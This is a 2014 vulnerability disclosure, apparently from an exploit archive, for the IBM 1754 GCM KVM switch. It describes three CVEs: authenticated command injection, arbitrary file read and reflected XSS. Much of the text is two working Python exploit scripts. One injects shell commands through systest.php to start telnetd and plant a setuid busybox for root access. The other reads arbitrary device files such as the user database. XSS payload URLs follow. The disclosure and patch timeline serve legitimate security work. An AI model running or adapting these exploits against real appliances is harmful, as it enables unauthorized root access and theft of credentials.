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IBM 1754 GCM KVM Code Execution / File Read / XSS

IBM 1754 GCM KVM Code Execution / File Read / XSS
Posted Jul 21, 2014
Authored by Alejandro Alvarez Bravo

The IBM 1754 GCM KVM suffers from code execution, arbitrary file read, and cross site scripting vulnerabilities. Versions 1.20.0.22575 and below are vulnerable.

tags | exploit, arbitrary, vulnerability, code execution, xss
advisories | CVE-2014-2085, CVE-2014-3080, CVE-2014-3081
SHA-256 | 34b46f6efc7a6f5be6994d9dd9ba60ffa5ba29218e6a3823dedc1b4384fc4d64

IBM 1754 GCM KVM Code Execution / File Read / XSS

Change Mirror Download
 *Product description*
The IBM 1754 GCM family provides KVM over IP and serial console management
technology in a single appliance. Versions v1.20.0.22575 and prior are
vulnerables.
Note that this vulnerability is also present in some DELL and probably
other vendors of this rebranded KVM. I contacted Dell but no response has
been received.

*1. Remote code execution *
CVEID: CVE-2014-2085
Description: Improperly sanitized input may allow a remote authenticated
attacker to perform remote code execution on the GCM KVM switch.
PoC of this vulnerability:

#!/usr/bin/python"""
Exploit for Avocent KVM switch v1.20.0.22575.
Remote code execution with privilege elevation.
SessionId (avctSessionId) is neccesary for this to work, so you need a
valid user. Default user is "Admin" with blank password.
After running exploit, connect using telnet to device with user target
(pass: target) then do "/tmp/su -" to gain root (password "root")
alex.a.bravo@gmail.com
"""

from StringIO import StringIO
import pycurl
import os

sessid = "1111111111"
target = "192.168.0.10"

durl = "https://" + target + "/systest.php?lpres=;%20/usr/
sbin/telnetd%20;%20cp%20/bin/busybox%20/tmp/su%20;%20chmod%
206755%20/tmp/su%20;"

storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, durl)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.COOKIE,'avctSessionId=' + sessid)

try:
print "[*] Sending GET to " + target + " with session id " + sessid
+ "..."
c.perform()
c.close()
except:
print ""
finally:
print "[*] Done"
print "[*] Trying telnet..."
print "[*] Login as target/target, then do /tmp/su - and enter password
\"root\""
os.system("telnet " + target)

*2. Arbitrary file read *
CVEID: CVE-2014-3081
Description: This device allows any authenticated user to read arbitrary
files. Files can be anywhere on the target.

PoC of this vulnerability:

#!/usr/bin/python
"""
This exploit for Avocent KVM switch v1.20.0.22575 allows an attacker to
read arbitrary files on device.
SessionId (avctSessionId) is neccesary for this to work, so you need a
valid user.
alex.a.bravo@gmail.com
"""

from StringIO import StringIO
import pycurl

sessid = "1111111111"
target = "192.168.0.10"
file = "/etc/IBM_user.dat"

durl = "https://" + target + "/prodtest.php?engage=video_
bits&display=results&filename=" + file

storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, durl)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.COOKIE,'avctSessionId=' + sessid)

try:
c.perform()
c.close()
except:
print ""

content = storage.getvalue()
print content.replace("<td>","").replace("</td>","")

*3. Cross site scripting non-persistent*
CVEID: CVE-2014-3080
Description: System is vulnerable to cross-site scripting, caused by
improper validation of user-supplied input. A remote attacker could exploit
this vulnerability using a specially-crafted URL to execute script in a
victim's Web browser within the security context of the hosting Web site,
once the URL is clicked. An attacker could use this vulnerability to steal
the victim's cookie-based authentication credentials.

Examples:
http://kvm/kvm.cgi?%3Cscript%3Ealert%28%22aaa%22%29%3C/script%3E
https://kvm/avctalert.php?arg1=dadadasdasd&arg2=dasdasdas&key=%3Cscript%3Ealert%28%22aaa%22%29%3C/script%3E

*Vendor Response:*
IBM release 1.20.20.23447 firmware

*Timeline:*
2014-05-20 - Vendor (PSIRT) notified
2014-05-21 - Vendor assigns internal ID
2014-07-16 - Patch Disclosed
2014-07-17 - Vulnerability disclosed

*External Information:*
Info about the vulnerability (spanish):
http://www.bitcloud.es/2014/07/tres-nuevas-vulnerabilidades-en-ibm-gcm.html
IBM Security Bulletin:
http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5095983

--
--
Alejandro Alvarez Bravo
alex.a.bravo@gmail.com


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